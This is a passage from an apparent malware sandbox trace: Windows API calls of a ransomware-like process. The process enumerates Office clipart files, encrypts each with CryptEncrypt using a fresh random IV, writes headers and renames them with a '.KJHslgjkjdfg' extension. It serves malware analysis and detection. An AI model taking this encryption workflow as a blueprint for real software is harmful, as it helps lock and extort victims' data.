hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105292.WMF", cAlternateFileName="")) returned 1 [0198.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.773] GetProcessHeap () returned 0x2ef0000 [0198.773] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.773] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.773] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0198.775] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.775] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.775] GetProcessHeap () returned 0x2ef0000 [0198.775] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.775] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.775] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.775] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.775] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.775] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.775] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.775] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.775] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.776] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.776] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.776] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3a14, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3a14, lpOverlapped=0x0) returned 1 [0198.777] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3a20, dwBufLen=0x3a20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3a20) returned 1 [0198.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.777] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3a20, lpOverlapped=0x0) returned 1 [0198.777] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.777] SetEndOfFile (hFile=0x130) returned 1 [0198.779] GetProcessHeap () returned 0x2ef0000 [0198.779] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.779] GetProcessHeap () returned 0x2ef0000 [0198.779] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.779] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.kjhslgjkjdfg")) returned 1 [0198.780] CloseHandle (hObject=0x130) returned 1 [0198.780] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105294.WMF", cAlternateFileName="")) returned 1 [0198.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.781] GetProcessHeap () returned 0x2ef0000 [0198.781] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.781] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.781] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.781] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.781] GetProcessHeap () returned 0x2ef0000 [0198.781] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.781] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.781] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.781] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.783] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.783] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.784] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.784] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.784] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.784] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.784] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.784] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.784] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1580, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1580, lpOverlapped=0x0) returned 1 [0198.785] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1580, dwBufLen=0x1580 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1580) returned 1 [0198.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.785] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1580, lpOverlapped=0x0) returned 1 [0198.785] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.785] SetEndOfFile (hFile=0x130) returned 1 [0198.787] GetProcessHeap () returned 0x2ef0000 [0198.787] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.787] GetProcessHeap () returned 0x2ef0000 [0198.787] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.787] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.kjhslgjkjdfg")) returned 1 [0198.789] CloseHandle (hObject=0x130) returned 1 [0198.789] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105298.WMF", cAlternateFileName="")) returned 1 [0198.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.791] GetProcessHeap () returned 0x2ef0000 [0198.791] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.791] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.791] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.791] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.791] GetProcessHeap () returned 0x2ef0000 [0198.791] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.791] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.791] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.791] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.792] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.792] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.793] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.793] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.793] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.793] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.793] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.793] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.793] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x18b0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x18b0, lpOverlapped=0x0) returned 1 [0198.794] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x18b0, dwBufLen=0x18b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x18b0) returned 1 [0198.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.794] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x18b0, lpOverlapped=0x0) returned 1 [0198.794] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.794] SetEndOfFile (hFile=0x130) returned 1 [0198.795] GetProcessHeap () returned 0x2ef0000 [0198.795] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.795] GetProcessHeap () returned 0x2ef0000 [0198.795] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.kjhslgjkjdfg")) returned 1 [0198.796] CloseHandle (hObject=0x130) returned 1 [0198.796] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105306.WMF", cAlternateFileName="")) returned 1 [0198.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.796] GetProcessHeap () returned 0x2ef0000 [0198.796] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.796] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.797] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.797] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.797] GetProcessHeap () returned 0x2ef0000 [0198.797] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.797] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.797] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.797] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.799] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.799] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.799] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.799] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.799] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.799] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.800] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x10e0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x10e0, lpOverlapped=0x0) returned 1 [0198.800] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x10e0, dwBufLen=0x10e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x10e0) returned 1 [0198.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.801] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x10e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x10e0, lpOverlapped=0x0) returned 1 [0198.801] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x11b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.801] SetEndOfFile (hFile=0x130) returned 1 [0198.803] GetProcessHeap () returned 0x2ef0000 [0198.804] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.804] GetProcessHeap () returned 0x2ef0000 [0198.804] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.kjhslgjkjdfg")) returned 1 [0198.806] CloseHandle (hObject=0x130) returned 1 [0198.806] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105320.WMF", cAlternateFileName="")) returned 1 [0198.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.807] GetProcessHeap () returned 0x2ef0000 [0198.807] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.807] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.807] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.807] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0198.809] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.809] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, 